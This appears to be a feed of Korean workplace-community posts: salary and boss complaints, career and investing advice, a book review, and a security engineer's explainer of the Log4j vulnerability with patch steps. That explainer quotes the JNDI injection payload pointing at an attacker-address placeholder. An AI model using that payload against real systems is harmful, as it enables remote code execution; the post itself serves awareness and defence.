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루팡 생활 시작
기획쪽 포지션이고 5년차입니다 시리즈A되는 기업에 다니고 있습니다. 이회사 다닌지는 거의 2년이 되어가네요. 오늘 연봉협상을 했는데 회사생활은 한후로 최저 연봉인상률이네요 처음에 들어왔을때 대표는 스톡옵션 계약서 곧 준다고 하고 지금까지도 계약서 준비중이라고 합니다 제 직속 상사가 퇴사한 뒤 뜬금없이 엄마뻘 상명하복 영업팀장에 붙여줍니다. 발령같은건 없고 같이 일해보세요라고 통보합니다 사업팀에 그 팀장과 저 둘이서 너무나도 갈등이 많았습니다. 업무에 대한 논의는 없고 대표 보고회의를 위한 회의만 하고 이런 업무 할거다라고 기획하면 지가 가로챕니다 그분이 그래서 실력이 있냐. 2년동안 계약 한번도 못했고 영어 못하는데 본인이 해외사업개발할거라고 지사 보내달라고 합니다. 영어가능한 사람이 저밖에 없어서 저에게 메일 써달라고 합니다 저는 회사에서 신규 사업 런칭 두개맡고 있고 그분이 담당으로 표시되어있는건 없습니다 그런데 이번 인사때 역시나 실망스러운 결정을 하네요 그분은 이사가 되었고 저는 팀장이 못되었습니다. 납득이 안되는 연봉인상률은 회사가 너에 대한 기대는 없어, 다른 사람올때까지 땜빵만 부탁해라고 들립니다 앞으로 이직할때까지 회사에서 놀아보려고요,,
안해안해
22년 02월 04일
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화내면 지는 게임
제가 처음 사회생활을 할 때 이직하는 선배가 제게 해 준 말이 있었습니다. "일은 잘하고 못하고 할 수 있어. 근데 태도는 중요해. 자세를 보고 준단 말이야." 배움이 필요한 시기였기에 태도를 잘 유지해야 좋은 배움도 있고 좋은 업무도 있단 이야기를 하고 싶었던 선배의 눈에 저는 아직 혈기 왕성하고 감정 제어가 잘 안 되는 그런 후배였을 겁니다. 저 좋으라고 한 말이지만 선배의 꼰대 같은 말투가 아직도 생각날 만큼 그 조언은 좋게 들리지 않았습니다. 물론 그 뒤로도 저는 들이받고 티 내는 사람이었습니다. 보고 라인에 있는 상사와도 싸우고 기획을 하면서 연관 팀장님과도 모두가 알도록 큰 소리로 다투는 일화들을 만들어 냈었습니다. 당시 제게는 부조리한 것은 싸우는 것으로 해결한다는 태도가 있었습니다. 그래서 부당하다고 생각하면 표현을 그 자리에서 다투는 것으로 했던 것 같습니다. 그런데 사회생활을 할수록 '화내면 나만 좋지 않구나', '화를 내지 않고 할 말을 해야겠구나', '감정이 아닌 논리와 근거로만 추슬러야 한다'는 생각이 들었습니다. 사회생활은 대부분 화내면 지는 게임이기에 그렇습니다. 화를 내는 마음과 논리가 나쁜 게 아니라 그게 그저 화를 내서 나쁜 취급을 받는 게 사회생활에 빈번했습니다. 화만 내지 않으면 다음을 내가 모색할 수도 있는데 다만 화를 낸 장면이 누군가의 머릿속에 남아 있는 것만으로 발목을 잡기도 합니다. 고객 관계 우리는 누가 되었든 고객이 있습니다. 직접적인 소비자와 만날 수 있고 조직 내부에서 내 결과물을 통해 일을 하는 다른 팀이 내 고객이기도 합니다. 다른 회사에 협업하는 분이 고객이기도 하고 보고를 받는 분이 고객이기도 하죠. 나의 퍼포먼스가 누구에게 가치를 얼마큼 주는지에 따라 고객이 결정됩니다. 같은 말이라도 화를 내는 태도는 강한 방어 논리로 보입니다. 논리적이지 못하고 자신의 생각을 돌아보거나 한 번 더 수정할 여지가 없음을 보여주죠. 완강한 공급자입니다. 수요에 비해 차별화된 결과를 늘 제공하는 공급자라면 완강해도 어쩔 수 없이 관계를 유지하며 거래를 하지만 우리가 알듯 비슷하면 태도에서 거래선을 정리합니다. 어르고 달래는 방법이 결과적으로는 나쁜 방법이 아닙니다. 리더십 사회생활을 할수록 리더십에 대한 요구는 피하기 어려워집니다. 관리자가 아닌 전문적인 실무를 계속하고 있음에도 리더십을 요구받습니다. 누군가가 온보딩 하는데 도움을 주기도 해야 하고 사람과 과제를 연결하는 일도, 새로운 기술을 알고 그걸 조직에 리드해야 하는 역할을 누군가는 요구받게 됩니다. 그런데 이왕이면 긍정적이고 성장 경로가 예측 가능한 사람에게 리더십을 맡기는 경우가 많습니다. 계속 드러나고 있는 직장 내 갑질 문제처럼 아직 불같은 성격에 난폭하고 무례한 태도를 카리스마라 생각하는 사람이 없진 않지만 점점 사회는 변해가고 있습니다. 보이는 실력이 비슷하다면 조직에 함께 있는 분들이 편하게 기대할 수 있는 모습이 리더십의 새로운 기준이 되고 있습니다. 위로부터가 아닌, 아래로부터의 리더십인 것이죠. 더 이상 위는 리드할만한 유용한 경험과 새로운 기술을 갖고 있지 못한 경우가 많아지고 있으니까요. 화내고 뒤에 달래는 모습의 리더십이 설 수 있는 공간은 작아지고 있습니다. 교정적 피드백 리더십의 연장 선상에서 조직에 화를 내는 리더는 교정적 피드백을 할 수 없게 됩니다. 교정적 피드백은 누군가에게 같은 행동을 반복하지 않도록 수정할 것에 대한 구체적인 정보를 주고 바로잡는데 목적이 있습니다. 좋은 행동을 계속하도록 하는 지지적 피드백과는 다른 모습이죠. 하지만 교정적 피드백이 화를 내는 것은 아닙니다. 마치 아이의 행동을 바꾸려는 부모 출연 프로그램에서 말하는 것처럼 감정이 아닌 팩트에 의한 접근이기 때문이죠. 조직의 성장을 꾀해야 하는 상황에서 구체적인 방법을 드라이하게 제시하지 못하고 감정에 휘둘리면 가능성이 있는 원석의 동료는 회사를 떠날 것입니다. 이것은 화를 내는 자신에게도 적용할 수 있는 포인트인 것 같네요. 화를 내지 않는 가장 좋은 방법은 내 수준을 정확히 아는 데서 출발한다고 생각합니다. 업계에서 세상에서 나는 어떤 수준이고 무엇을 못하는지 정확히 알고 있다면 화가 날 이유가 별로 없다는 게 제가 얻은 결론이었습니다. 이 회사 안에서 여기 조직 안에서 내가 왕처럼 지내고 과거에 했던 것처럼 다 안다고 생각할 무렵 화내도 될 자신감이 붙습니다. 내가 회사고 내가 여기를 대표한다고 생각하면 다른 조직과 회사와 붙게 되기도 합니다. 겸손은 정확한 내 상황을 아는 것에서 출발합니다. 작년 한 해 많이 팔린 책 중 하나가 '기분이 태도가 되지 않게'였습니다. 책 제목처럼 어울려 살아갈 수밖에 없는 일반적 범위의 공급자인 모두에게 능력만큼, 그 이상으로 평판을 유지하는 방법은 안정적인 정서입니다. 화만 내지 않는다면 2022년은 보다 좋은 사회생활을 했다고 생각할 수도 있을 것입니다.
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22년 02월 04일
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[Tech] 사상최악의 보안 취약점, Log4j 취약점
안녕하세요. 오늘은 본연의 업무로 돌아와서, 보안과 관련된 글을 써보도록 하겠습니다. 2021년의 마지막을 떠들썩하게 장식하였던 Log4j 취약점에 대해 좀더 쉽게 알려드리고자 합니다. 우선, Log4j는 아파치 소프트웨어 재단이 개발한 'JAVA'기반의 오픈소스 프로그램으로 동작 도중 '로그'를 기록하는 목적으로 사용됩니다. JAVA와 관련된 로그를 쉽고 편리하게 관리하기 위한 프로그램이라고 생각하시면 되겠습니다. 많은 기업들이 JAVA로 개발된 홈페이지와 같은 인터넷 서비스를 운영, 관리하면서 기록을 남기기위해 사용하고 있습니다. ※ 'JAVA' : 썬 마이크로시스템즈연구원들에 의해 처음 개발된 인터넷 환경에서 가장 활발히 사용되는 프로그래밍 언어. '로그' : 시스템, 서비스 등의 동작 상태를 남긴 기록. Log4j 취약점은 중국 Alibaba Cloud 보안팀에 의해서 21년 11월 경 Apache에 공식 보고가 되었으며, 대표적으로는 유명세를 갖고 있는 온라인 게임 마인크래프트에서 프로그래밍 코드로 이뤄진 '특정 채팅 메시지'를 입력하면 원격으로 프로그램을 실행할 수 있는 문제점이 실제 확인되었습니다. Log4j 취약점을 이용한 공격은 쉬운 반면 결과는 치명적이기 때문에 Log4j를 사용하는 많은 기업들이 피해를 입을 수 있어서 고위험 등급의 취약점으로 분류되었습니다. ※ '특정 채팅 메시지' : ${jndi:ldap://공격자의 주소} 외부에서의 메시지 입력만으로도 내 시스템의 권한을 빼앗길 수 있고, 타인이 인증없이 손쉽게 내 시스템에 침투할 수 있는 취약점이다보니 공개된 이후 발빠르게 조치하기위해서 정보보안분야의 많은 전문가 분들께서 불철주야 고생이 많으셨으리라 짐작됩니다. Log4j 중에서도 2.0 버전부터 취약점이 발견되어 완벽한 조치를 위해서는 해당 프로그램을 아예 삭제하여 쓰지않는 것이 제일 좋지만 이미 폭넓게 사용중이다보니 서비스를 유지하기 위해서 취약점이 조치된 최신버전으로 업그레이드를 하는 방법이 권장되었습니다. 이밖에도 'JndiLookup 클래스를 경로에서 제거'하거나 '환경변수 설정변경'하는 방법으로 긴급조치가 진행되었습니다. ※ 'JndiLookup 클래스를 경로에서 제거' : zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class '환경변수 설정변경' : Log4j2.formatMsgNoLookups 또는 LOG4J_FORMAT_MSG_NO_LOOKUPS 환경변수 true 설정 발빠른 정보보안분야의 전문가 분들의 노고로 “최근 10년간 가장 치명적이고 거대한 취약점이다. 현대 컴퓨터 역사를 통틀어 최악의 보안 결함일 수도 있다”라는 이야기가 있던 Log4j 취약점에 대해 많은 분들께서 알아차리시기도 전에 신속하게 조치가 되었지만, 이와 유사한 취약점은 지금도 끊임없이 등장하고 이를 이용한 공격은 지속적으로 계속될 것이기 때문에 간단하게나마 알아두시고 경각심을 가지시길 바라는 마음으로 Log4j 취약점에 대한 글을 쓰게 되었습니다. 근처에서 고생하고 계시는 보안담당자분들이 계시다면 가볍게 격려의 한마디라도 부탁드립니다. 감사합니다. [취약점] o Apache Log4j 2에서 발생하는 원격코드 실행 취약점(CVE-2021-44228) - 취약점이 조치된 최신버전 사용권고 o Apache Log4j 2에서 발생하는 서비스 거부 취약점(CVE-2021-45046) - 취약점이 조치된 최신버전 사용권고 o Apache Log4j 1.2에서 발생하는 원격코드 실행 취약점(CVE-2021-4104) - Apache Log4j 1.2는 2015년 8월에 종료 - 취약점이 조치된 최신버전 사용권고 - JMSAppender 미사용 권고 [참고사이트] [1] apache 보안업데이트 현황 : https://logging.apache.org/log4j/2.x/security.html [2] 취약점 정보 : https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228 [3] 신규버전 다운로드 : https://logging.apache.org/log4j/2.x/download.html [4] 제조사별 현황 : https://gist.github.com/SwitHak/b66db3a06c2955a9cb71a8718970c592 [5] 탐지정책 : https://rules.emergingthreatspro.com/open/suricata-5.0/rules/emerging-exploit.rules [6] 취약점 대응 가이드 : https://www.boho.or.kr/data/guideView.do?bulletin_writing_sequence=36390 [7] 취약점 정보 : https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-45046 [8] 취약점 정보 : https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-4104 [9] Log4j 2.12.2버전 다운로드 : https://archive.apache.org/dist/logging/log4j/2.12.2/
김정희 | LINE Plus Corp.
22년 02월 04일
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한달치급여더줘야하나요?
저희관리팀장얘기인데요 매일 매일 거의한달내내지각을해서 직원들의 불만이 많았어요 관리팀장이 하루는 당일 연차쓴다며 당일 결근 하루는 전화도 안받고 아예 결근을 해버리고 근데 시말서 같을걸 안받았답니다.ㅜㅜ 안그러겠지 앞으로 이런일 있음 본인이 퇴사하겠다며 죄송하다 하여 넘어 갔는데 급여날 ot계산을 하는데문제가생겼어요 사장님께 출근결의표를 드렸는데 지각한날짜로 다 정시간출근날짜로 거짓으로 써놓고 결근한날도 ㅋ 출근한걸로 써놓고 그래서 저희사장님이 왜 이렇게 써놨냐고했더니 명백히 다 직원들도 다아는데 본인이 지각한적없다며 우기는거예요사장님께 그래서 다시한번 정확히 얘기하라구 기회를 주었는데도 지각한적없다해서 저희사장님이 화가나셔서 기만한다며 소리를지르고 호통을 치셨더니 짐을 쌓고 나갔어요 그팀장이 바로 퇴사함 회사에도 인수인계도 안돼 일에 지장이 있죠 그런데 본인이 안나와놓고 한달치 급여는 언제 줄꺼냐며 ㅜㅜㅜ 말이 안통해 노동부에 신고하라해써요 본인잘못은 하나도 기억을 못해요 기억력이 없는건지 인정을 하기싨은 건지 말이 안통해요 사장님이 소리지른건만 갖고 더이상 못나오겠다고 본인 근태상태에 심각성은 본인하고 상관없나봐요 이럴때는 보통 어떻게 처리하나요? 객관적 통상적으로 의견듣고싶습니다
이워리
22년 02월 04일
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영어회의 이해도 높이기 위한 방법 문의
외국계회사 근무하고 있습니다. 3년차이고, 이 회사의 제품, 관련 메뉴얼, 이메일 모든 일은 영어로 하고, 한국에서 소수의 인원이 있어서 이분들과 소통만 한국어로 합니다. 그런데 입사면접시 영어를 원어민처럼은 요구하지 않으셔서 입사는 했는데, 모든 영어로 하는 줌회의시 이해도가 떨어지는 것 같아서 많은 지장을 받고 있습니다. 모든 회의가 영어를 모국어처럼하는 직원들이 많다보니 말도 빠르고 농담많이 하고 못알아듣는 부분들이 있어서 정체된 저의 영어로는 일을 몇번씩 확인하고 진행해야합니다(회의 내용을 제대로 알아들었는지 반복확인 등) 이런 비슷한 경우에 도움되는 영어공부 방법이나 교재 등 있으시면 추천좀 해주세요. 현재는 이직 계획도 더는 없어서 이 부분을 해결해야 업무효율이 좀 오를것 같네요. 조언 부탁드려요
켈만
22년 02월 04일
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[직장심서 6탄] 직장생활에서 무조건 피해야하는 사람 Top3 😅
직장 생활의 90%는 인간관계라고 해도 과언이 아닐까 싶은데요. 자신의 능력보다는 그걸 알아봐주고 인정해주는 사람을 잘 만나야 성장도 하고 승진도 할 수 있지만, 반대로 아무리 뛰어난 능력이나 최선을 다하는 열정을 쏟아 부어도 알아봐주는 사람이 없다면 그저 쓸모없는 잡기술이 되는 것이죠. 그래서 법정스님께서도 이런 말씀을 자주 해주셨지 않을까 생각해봅니다. “진정한 인연과 스쳐가는 인연은 구분해서 인연을 맺어야 한다. 진정한 인연이라면 최선을 다해서 좋은 인연을 맺도록 노력하고, 스쳐가는 인연이라면 무심코 지나쳐 버려야한다. 그것을 구분하지 못하고 만나는 모든 사람들과 헤프게 인연을 맺어 놓으면 쓸만한 인연을 만나지 못하는 대신에 어설픈 인연만 만나게 되어 그들에 의해 삶이 침해되는 고통을 받아야한다.” 제가 사회생활을 하면서 꼭 피해야 한다고 생각하는 유형은 3가지 타입의 사람들인데요. 물론 저는 해당이 안되거나 뭐 착하다는 말씀은 아니니 착각이나 지레짐작은 사양합니다 😅 첫째, 자신만을 위하는 자기 몫이나 자신의 이득만을 챙기는 ‘나뿐인 사람’을 멀리 하셔야 합니다. ‘나쁜’의 어원은 ‘나뿐’인데요. 나만 아는 사람, 나 밖에 없는 사람은 피하셔야 합니다. 이들은 절대로 나누지 않는 사람들이니까요. 그게 정보이든 노하우이든 몫이든, 나뿐인 사람들은 절대 나눠주지 않거든요. 둘째, 당신을 시기 질투하면서 사사건건 트집을 잡고 뒷담화를 하는, 투덜이 스머프는 절대로 멀리 하셔야 합니다. 이들은 항상 빨간 색안경을 끼고 있기에 당신이 무엇을 하든 어떤 노력을 하든지간에 일단 비난부터 늘어 놓습니다. 웃는 게 마음에 안든다. 분위기 파악 못한다. 야근을 해도 지만 잘 난줄 안다고 하면서 손가락질 합니다. 왜냐하면 경쟁 상대를 시기 질투하는 마음에 눈이 멀었기 때문에 지금은 무조건 잡아끌어서 떨어트려야 하기 때문입니다. 무조건 피하세요. 곁도 주지 마세요. 그래도 욕하고 뒷담화 하겠지만, 그래도 *은 더러워서 당신도 더럽혀지니 피하셔야 합니다. 마지막으로는 성실하지 않은 사람들입니다. 성실(誠實, sincerity)은 ‘정성스럽고 참됨’을 의미하는데요. 말과 행동이 일치하며 무슨 일이든 정직하고 꾸준한 사람을 가리키는 말입니다. 약속이나 말한 것을 쉽게 어기는 사람, 프로젝트 납기일을 못 마주치는 사람, 남탓과 핑계가 입에 벤 사람. 이런 사람들은 당신에게도 성실하지 않을 테니까요. 현란한 미사어구로 거짓과 변명으로 현혹할 테니까요. 반대로 어떤 사람을 꼭 곁에 두어야 하냐면요. 좋은 사람을 두시면 좋을 것 같은데요. ‘좋은’의 어원은 ‘주는’인데요. 당신에게 무엇이든 주는 사람을 곁에 두세요. 그게 정보이든 노하우이든 인정이든 관심이든, 당신에게 무엇이든 주는 좋은 사람을 곁에 두세요. 그럴려면 당신부터 무엇이든 주는 ‘좋은 사람’이 되어야 하겠지만은요. 왜냐하면 당신이 먼저 좋은 사람이 되어야 좋은 사람이 오는 법이니까요. 유유상종처럼요 😊 금요일입니다. 주변 동료들과 커피 한잔 나누시면서, 나는 ‘주는’ 사람인지? ‘나뿐’ 사람인지 생각해보시면 좋겠습니다. 주말, 가족 연인에게도 사랑과 관심 칭찬 그리고 무엇이든 먼저 주는 좋은 사람이 되시길 기도해봅니다 🙏 ​
김명곤 | 코웨이라이프솔루션
22년 02월 04일
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금리인상기의 투자상품
핸드폰 속 증권사HTS를 자주 보시나요? 저는 자다 깨면 들여다보고, 아침에 눈뜨면 제일 먼저 본답니다. 연휴가 끝나는 어제 아침에는 미국 기술주 등 살짝 반등이 나와서 다행이다~라고 하면서 출근했는데, 이 글을 쓰는 아침에는 미국 주식 뿐 아니라 유럽 등 해외 지수들이 모두 하락이네요. 매일아침 일희일비 하지 말아야지 하는 마음을 먹지만, 그래도 늘 그게 잘 안되지요. 투자 자산상품 이야기를 하자면 주식으로 시작해서 주식으로 끝나는 경우가 많습니다. 특히 코로나19로 야기된 비대면 경제 환경에서 IT와 관련된 성장주식들의 눈부신 성과는 그 누구도 부인할 수 없기에 말입니다. 하지만 올해 1월 들어 조정 받는 주식을 보면서 조금은 달라진 투자환경을 인식할 필요가 있습니다. 여러 가지 이유가 있지만 저는 금리인상으로 인한 시장의 조정에 초점을 맞추어, 투자 상품을 어디에 투자하면 좋을지 정리해보았습니다. 금리인상이 야기할 것은 성장주식의 조정일 것입니다. 메타버스,엔비디아, 구글, 테슬라 등 의 주식들은 미래의 꿈으로 벌어들일 수 있는 기대이익까지 지금이 가치로 할인하여 주가에 형성되어 있습니다. 물론 그것이 단번에 무너지지는 않겠지만, 금리 인상이 지속 된다면 작년 같은 수익을 기대하기가 어려울 것으로, 전체 자산비중을 조금은 줄이고, 투자의 틀을 조금 바꿀 필요가 있습니다. 왜냐면 과거의 주식시장은 어떤 종목을 샀어도 올랐을 그런 시장이었던 반면 앞으로의 시장은 그렇게 쉽지 않을 것이기에 그렇습니다. 그리고 개별 이슈들의 모든 사안은 개인들이 점검하기는 어려우니 펀드와 ETF를 통해서 원하는 분야에 맞추어 있는 투자 상품에 투자하는 것이 좋습니다. 성장주식 외에 배당성향이 강한 기업에 투자방법도 이용해 볼만합니다. 국내의 배당성향이 큰 기업주식에 투자할 수도 있고 미국, 유럽, 아시아 국가 중 꾸준한 배당성향을 내는 회사들의 주식, 그런 회사들의 모음펀드, ETF 투자도 좋은 방법입니다. 금리 인상기에는 리츠 관련 투자도 많이 언급 됩니다. 부동산 임대료가 올라가서 그만큼의 수익을 올릴 수 가 있기에 단기적으로는 실제 수익이 나기도 한답니다. 하지만 지속된 금리인상에는 결국 부동산 대출이자가 올라가서 비용이 커지고, 실질 임차인의 부실 문제가 발생할 수 있음을 알고 투자해야 한답니다. 화두가 되고 있는 가상화폐에 요즘 새로운 분위기가 감지되고 있습니다. 독일과 일본에 금융자산 안에 암호화자산을 기재하고 있습니다. 중국도 CBDC(중앙은행 디지털화폐) 도입에 주력하고 있습니다. 세계 최로 캐나다 비트코인 ETF가 승인이 되었고, 비록 며칠 전 실패했지만 지금도 비트코인 현물 상장지수펀드(ETF)가 미국 증권거래위원회의 장벽을 넘으려고 계속 시도하고 있습니다. 국내에서도 가상화폐에 대한 징수여부가 논란이 되다가 현재는 유예되어 있는 상태이죠. 아직은 이렇다~ 라고 완전정비가 안된 상태이지만, 거스를 수 없는 흐름으로 인식되어 관심을 가져야 합니다. 다만, 바로 당장 금리 인상기에는 그 성장 동력이 떨어질 것으로 보여 소액 적립식으로만 접근하시길 바랍니다. 다양한 자산에 관심을 가지고, 그 중 본인에게 맞는 투자자산을 찾아서 꾸준함과 깊이를 더해 본다면 투자실력도 늘지 않을까 생각해봅니다.
김해진 | 하나은행
22년 02월 03일
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딸 아이를 위해 적어두었던 꼰대 엄마의 조언
애 둘 다 키우고 아직까지 현역에서 일하며 몇년 후 우리 딸이 첫출근을 하면 들려주려고 적어 두었던 꼰대 아줌마의 라떼 이즈 호스 이야기입니다. 1. 회사는 이익단체이고, 가장들은 목숨을 걸고 일한다. 절대 대충 일하지 마라. 2. 회사는 네 커리어를 관리해줄 의무도 없고 관심도 없다. 해마다 연말에 레쥬메를 정리하고 새해 계획을 세워라. 이직을 하지 않더라도 면접도 기회가 되면 봐라. 3. 외국계 회사처럼 버티칼 조직이 아닌 경우 국내기업은 사내 네트워크가 하나의 능력이다. 과장급 이상 이직 시에는 1년 이상 적응 기간이 소요되니 이직 시 회사 선택에 신중해라. 4. 옷은 너의 능력보다 더 많은 인상을 남긴다. 기본 스타일 정장을 구입하되 소재가 고급스러운 스타일로 사이즈는 약간 넉넉하게 사라. 절대 대충 입고 다니지 마라. 5. 대기업에서 여자 부장까지 살아남으면 임원될 가능성이 아주 높다. 살아남아라. 6. 요가든 웨이트 트레이닝이든 운동을 생활화해라. 정신적,육체적 스트레스로부터 너를 지켜줄 갑옷이다. 7. 회사에서나 가정에서나 레버리지를 잊지 마라. 너가 잘하지 못하거나 중요하지 않은 일은 과감히 위임하고 잘하고 중요한 일에 집중해라. 엄마가 청소를 깔끔한 아빠에게 위임했듯이. 8. 부모님께 세후 십일조 반드시 내라. 지금까지 키우느라 들어간 돈 수억이다.
안상미 | Tricentis
22년 02월 03일
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이직이 너무 마렵습니다.
시국이 시국인지라.. 이직하기도 참 힘든거 아는데 팀장때문에 더이상 버티기가 힘드네요ㅜㅜ 술자리때 팀장한테 심한 인신공격을 당했는데 정말 뜬금없는 상황이였습니다.. 나중에 들어보니 경력사원 신입처럼 길들일려고 세게 한번 말한거라네요.. 그때 같이있던 직원분들도 다들 벙져서.. 사실 평소에도 언행이 좋지는 않은 분인데 업무적으로 크게 부딪힌적도 없고 일 잘한다는 소리도 들을만큼 나름 관계도 나쁘진않았습니다만.. 이렇게 뜬금포로 쌍욕을 먹으니 정말 사람이 한순간에 싫어지더군요 사회생활하다보면 별별 사람 다 만난다지만 업무적으로 매일 보고 얘기해야되는 상사라 하루하루 견디기가 힘드네요. 이거 이직이 답인가요..?
대롱대롱대롱이
22년 02월 03일
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우리 회사는 왜 넷플릭스처럼 안될까요?
한 때 이 책이 스타트업계를 휩쓸었습니다. 한국에도 넷플릭스와 같은 조직문화를 만들겠다는 회사들이 쏟아져 나왔지요. 하지만 많은 회사들이 '그래도 한국 문화에서는 한계가 있다'는 자평을 하며 여전히 고군분투하고 있습니다. 물론 매우 어렵습니다. 그럼에도 우리의 조직문화가 나아가야 할 지향점으로서의 가치는 여전히 큽니다. 이 책에 있는 내용은 모두가 참고해야 하지만, 그럼에도 왜 한국 기업 문화에서는 적용이 잘 안되었는지 제 경험을 통해 그 이유를 공유 드리겠습니다. 먼저 이 책의 핵심 내용은 다음과 같습니다. 첫째, 이 책의 제목인 <규칙 없음>은 사실 <스스로 규칙을 만들 수 있는 직원을 채용하라>에 가깝습니다. 무법천지를 만들어도 된다라는 의미가 아니라 목표가 주어지면 그것에 맞추어 스스로 동작하는(이런 점에서 홀라크라시/소시오크라시와도 일맥상통합니다) 조직을 만들어야 한다는 의미로 이해해야 합니다. 둘째, 그런 점에서 육성보다 채용이 몇 배나 더 중요한 활동입니다. 어중간한 직원을 뽑아 가르치고 관리하는 비용보다 스스로 목표를 정하고 구조를 만들 줄 아는 직원을 뽑는 것이 훨씬 더 낫다는 것입니다. 저자는 이 책에서 그런 인재는 연봉의 몇 배를 더 주는 것을 아까워 하지 말라고 하고, 한 명의 천재적 인재는 평범한 직원의 수백배에서 만 배이상의 성과를 낸다는 말을 인용하기도 합니다. 회사 생활 하시는 분들이라면 이 말의 의미를 이해하고 공감하시리라 생각됩니다. 셋째, 즉, 이런 직원들이 최고의 성과를 낼 수 있도록 그것을 제한하는 출퇴근 시간, 각종 규정, 보고 체계 등등을 모두 없애는 과정을 설명한 것이 이 책의 주요 내용입니다. 극단적인 업무 투명성, 무제한 휴가, 피드백 문화 등등 현재 조직문화의 최전선에서 보여주는 사례를 실증하고 있는 모습을 보여줍니다. 이제 이 책의 내용이 국내 문화에 잘 흡수되지 않은 이유를 설명드리겠습니다. 1. 가장 큰 차이는 노동 유연성입니다. 쉽게 말해서 실리콘밸리는 아무런 통제를 하지 않더라도 본인이 성과를 내지 못하면 해고가 유연합니다. 하지만 우리나라는 그게 안됩니다. HR실무자나 대표님들과 성과문화를 이야기하면 결국 마지막에 맞닿는 지점이 여기입니다. 예를 들어 넷플릭스는 제한 없는 무제한 휴가를 쓸 수 있도록 합니다. 1년에 364일을 놀고 하루만 일해도 남들의 몇 배의 성과를 낼 수 있다면 근태가지고 시비걸 수 없을 것입니다. 하지만 대부분은 그렇지 않습니다. 그래서 이런 규정이 있어도 대부분 연가범위를 넘겨서 사용하지 않는다고 합니다. 즉 통제의 주체를 회사가 아닌 개인으로 넘긴 것이지요. 하지만 우리나라는 성과를 내지 못했다고 함부로 자르지 못합니다. 2. 둘째는 사실상 "넷플릭스이기 때문에 가능"한 점이 큽니다. 무슨말이냐 하면 책에서 나온대로 S급 인재를 남들보다 몇 배나 더 보상을 쳐줄 수 있는 브랜드파워와 자금력이 있기 때문에 데려올 수 있는 것이 있기도 합니다. 넷플릭스도 DVD 우편배달 하던 시절에는 이런 정책을 사용하기 힘들었고, 이미 막대한 자금력을 갖추었기 때문에 가능한 부분이 있지 않았나 생각합니다. 그런 인재 채용이 중요하다는 것을 모르는 회사가 어디 있을까요. 하지만 넷플릭스 정도의 성장세, 인지도, 자금력을 갖추지 못해서 구하지 못하는 경우가 대부분입니다. 그래서 실제로 이 책에서 나온 정책을 도입한, (넷플릭스의 정책을 참고한 것이 명확해 보이는) 국내의 스타트업들도 당근마켓, 딥브레인AI등 막대한 투자유치로 현금자산이 넉넉한 기업들입니다. 3. 셋째는 배경, 문화, 철학에 대한 고찰 없이 제도만 흉내내려고 하는 경우입니다. 이 책에서 CEO인 리드 헤이스팅스의 히스토리를 보면 수많은 시행착오와 시도를 통해 벽돌 한 장씩 쌓듯 이러한 문화를 만들어 나간 것을 알 수 있습니다. 그는 우리 주변에서 흔히 볼 수 있는 그런 스타트업 CEO도 아니고 나이도 1960년생입니다. 그와 같은 마인드셋을 갖춘 사람을 보기도 쉽지 않지만 그만큼의 경력을 경험한 사람도 드뭅니다. 그 과정을 생략하고 제도만을 따라한다고 우리 회사가 넷플릭스가 될리는 만무하지요. 그래서 이 책의 제도를 implant 한다는 생각보다는, 이러한 철학을 바탕으로 어떻게 우리 조직에 맞는 제도를 sync 할 것인가라는 관점으로 접근하는 것이 바람직합니다. 그럼에도 불구하고 넷플릭스가 이야기하는 조직문화는 우리 기업들이 지향점으로 삼아야 할 모범임에는 틀림없습니다. 너무 이상적이라고 이야기하는 분들도 많지만 실리콘 밸리를 넘어 국내에서도 이러한 방향으로 조직문화를 진화시키는 기업들이 많이 생기고 있는 것은 고무적인 일입니다.
최효석 | 비즈니스코치
22년 02월 03일
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귀촌생활 접습니다.
그동안 일자리가 너무 없어서 돈 야금야금 까먹었고, 그러다 지난달 겨우 취업한 지역신문사마저 너무 X같아서 시골생활에 회의감이 들었고, 그냥 포기하고 빨리 올라가기로 했습니다. 내무부장관 재가도 떨어졌겠다, 최대한 신속하게 정리할 계획입니다. 회사 사장이 저한테 무슨 짓을 했냐면.. -유류비 지원 X(저는 기자예요) -조기출근 강요(한 시간 정도 일찍 출근을... ㅁㅊ..) -폭언(할말하않) -연봉 지멋대로 삭감(뭔가 요구하기 전에 역량을 보이라네요~^^) 이 모든 게 한 달 안에 일어난 일들입니다. 여기는 그냥 생활비 벌 겸 조금만 버티다 나가기로 마음먹었습니다. 그냥 나가기엔 좀 아쉽고.. 노동법 위반사항 정리해서 엿이라도 좀 멕이려고 합니다. 여기저기 연락 돌려보니 올라오면 너 하나 자리는 만들어줄 수 있다는 사람이 둘이나 있어서.. 일단 마음은 편하네요. 이번 설에 부모님 뵈려고 서울 올라왔는데 역시 수도권 짱짱맨입니다. 영남, 호남 지역의 20~30대 인구가 계속해서 증발하는 건 다 이유가 있지요...^^ 마당에서 밥 주던 길냥이들이 좀 걸리네요. 마당 있는 집에서 언제 또 살아볼 수 있을까 싶기도 하고.. 그럼에도 귀촌, 저는 절대 비추합니다. 그냥 생각 자체를 하지 마세요.
객주
22년 02월 03일
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[직장 심서 5th] 내가 하고 있는 일이 가장 중요하다라는 믿음
제가 몸을 담았던 ‘신용카드’ 업종에는 여러가지 직무들이 있는데, 그 중에서 ‘연체 채권(延滯債券) 회수’라는 채권 업무가 3D 중 하나였는데요. 즉 신용카드 대금을 연체하고 나서 안 갚거나 못 갚는 분들을 독려하고 압박(?)해서 대금을 회수하는 업무이다 보니 누구라도 하기 싫어 했습니다. 1998년 IMF 당시 신용카드사에도 유동성 위기가 와서 대부분의 인력들이 ‘채권 회수’에 투입되는 상황이었는데요. 저도 마찬가지 였습니다. 법원 소송에 집달관 동행, 그리고 고성이 오가는 소음과 전투의 나날이었습니다. 만나야 하는 고객들도 힘들겠지만, 그걸 받아내야 하는 직원들도 참 많이 힘들어 했던 것 같습니다. 참으로 회사에 출근하는 것이 싫었고, 친구들이 회사에서 뭐하냐고 물어보면 대충 얼버무리기 일쑤였으니까요. 그렇게 어두운 터널같은 시간을, 이제 갓 결혼한 저로서는 어쩔 수 없이 끌려다니면서 무기력과 우울함에 젖어 있을 때였는데요. 그런 어두운 시간 속에서 이런 문장을 줍게 됩니다. “내가 하는 일이 이 세상에서 가장 중요하다는 믿음을 가져야 한다. 그래야 일이 재미있고 항상 최선을 다할 수 있게 된다.” 그 때부터였던 것 같습니다. 저 자신에게 매일 